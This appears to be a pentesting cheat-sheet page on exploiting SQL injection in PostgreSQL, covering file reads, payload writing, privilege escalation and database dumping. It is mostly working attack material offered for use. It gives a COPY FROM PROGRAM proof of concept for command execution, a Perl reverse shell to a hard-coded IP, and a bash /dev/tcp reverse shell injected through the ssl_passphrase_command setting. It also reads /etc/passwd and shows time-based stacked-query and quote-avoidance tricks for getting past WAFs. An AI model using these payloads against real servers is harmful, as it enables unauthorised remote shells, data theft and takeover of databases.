# PostgreSQL injection

**This page aims to explain different tricks that could help you to exploit a SQLinjection found in a postgresql database and to compliment the tricks you can find on** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)\*\*\*\*

## Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration

**`dblink`** is a **PostgreSQL module** that offers several interesting options from the attacker point of view. It can be used to **connect to other PostgreSQL instances** of perform **TCP connections**.\
**These functionalities** along with the **`COPY FROM`** functionality can be used to **escalate privileges**, perform **port scanning** or grab **NTLM challenge responses**.\
[**You can read here how to perform these attacked.**](postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure)\*\*\*\*

### **Exfiltration example using dblink and large objects**

You can [**read this example**](postgresql-injection/dblink-lo_import-data-exfiltration) **\*\*to see a CTF example of** how to load data inside large objects and then exfiltrate the content of large objects inside the username\*\* of the function `dblink_connect`.

## PL/pgSQL password bruteforce

PL/pgSQL, as a **fully featured programming language**, allows much more procedural control than SQL, including the **ability to use loops and other control structures**. SQL statements and triggers can call functions created in the PL/pgSQL language.\
**You can abuse this language in order to ask PostgreSQL to brute-force the users credentials.** [**Read this to learn how.**](postgresql-injection/pl-pgsql-password-bruteforce)\*\*\*\*

## File-system actions

### Read directories and files

From this [commit ](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a)members of the `DEFAULT_ROLE_READ_SERVER_FILES` group and super users can use these methods on any path (check out `convert_and_check_filename` in `genfile.c`).:

```sql
select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd' , 0 , 1000000);
```

### Simple File Writing

```bash
copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';
```

Remember that COPY cannot handle newline chars, therefore even if you are using a base64 payload y**ou need to send a one-liner**.\
A very important limitation of this technique is that **`copy` cannot be used to write binary files as it modify some binary values.**

### **Binary files upload**

However, there are **other techniques to upload big binary files**.\
[**Read this page to learn how to do it.**](postgresql-injection/big-binary-files-upload-postgresql)\*\*\*\*

## RCE

### **RCE from version 9.3**

Since[ version 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), new functionality for '[COPY TO/FROM PROGRAM](https://paquier.xyz/postgresql-2/postgres-9-3-feature-highlight-copy-tofrom-program/)' was implemented. This allows the database superuser, and any user in the ‘pg\_execute\_server\_program’ group to run arbitrary operating system commands.

```bash
#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;

#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
```

Or use the `multi/postgres/postgres_copy_from_program_cmd_exec` module from **metasploit**.\
More information about this vulnerability [**here**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). While reported as CVE-2019-9193, Postges declared this was a [feature and will not be fixed](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/).

### RCE with PostgreSQL extensions

Once you have **learned** from the previous post **how to upload binary files** you could try obtain **RCE uploading a postgresql extension and loading it**.\
[**Lear how to abuse this functionality reading this post.**](postgresql-injection/rce-with-postgresql-extensions)\*\*\*\*

### PostgreSQL configuration file RCE

The **configuration file** of postgresql is **writable** by the **postgres user** which is the one running the database, so as **superuser** you can write files in the filesystem, and therefore you can **overwrite this file.**

![](https://4153509160-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MaoGr_g3I50alM2whW0%2Fsync%2F5c13d91bec80cbd97f28e9809c69cc9b0017fec2.png?generation=1622227487921568\&alt=media)

The configuration file have some interesting attributes that can lead to RCE:

* `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Path to the private key of the database
* `ssl_passphrase_command = ''` If the private file is protected by password (encrypted) postgresql will **execute the command indicated in this attribute**.
* `ssl_passphrase_command_supports_reload = off` **If** this attribute is **on** the **command** executed if the key is protected by password **will be executed** when `pg_reload_conf()` is **executed**.

Then, an attacker will need to:

1. **Dump private key** from the server
2. **Encrypt** downloaded private key:
   1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key`
3. **Overwrite**&#x20;
4. **Dump** the current postgresql **configuration**
5. **Overwrite** the **configuration** with the mentioned attributes configuration:
   1. `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'`
   2. `ssl_passphrase_command_supports_reload = on`
6. Execute `pg_reload_conf()`

While testing this I noticed that this will only work if the **private key file has privileges 640**, it's **owned by root** and by the **group ssl-cert or postgres** (so the postgres user can read it), and is placed in _/var/lib/postgresql/12/main_.

**More** [**information about this technique here**](https://pulsesecurity.co.nz/articles/postgres-sqli)**.**

## WAF bypass

### PostgreSQL String functions

Manipulating strings could help you to **bypass WAFs or other restrictions**.\
[**In this page** ](https://www.postgresqltutorial.com/postgresql-string-functions/)**you can find some useful Strings functions.**

### Stacked Queries

Remember that postgresql support stacked queries, but several application will throw an error if 2 responses are returned when expecting just 1. But, you can still abuse the stacked queries via Time injection:

```
id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
```

### XML tricks

#### query\_to\_xml

This function will return all the data in XML format in just one file. It's ideal if you want to dump a lot of data in just 1 row:

```sql
SELECT query_to_xml('select * from pg_user',true,true,'');
```

#### database\_to\_xml

This function will dump the whole database in XML format in just 1 row (be careful if the database is very big as you may DoS it or even your own client):

```sql
SELECT database_to_xml(true,true,'');
```

### Forbidden quotes

If cannot use quotes for your payload you could bypass this with `CHR` for basic clauses (_character concatenation only works for basic queries such as SELECT, INSERT, DELETE, etc. It does not work for all SQL statements_):

```
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
```

Or with `$`. This queries return the same results:

```
SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
```
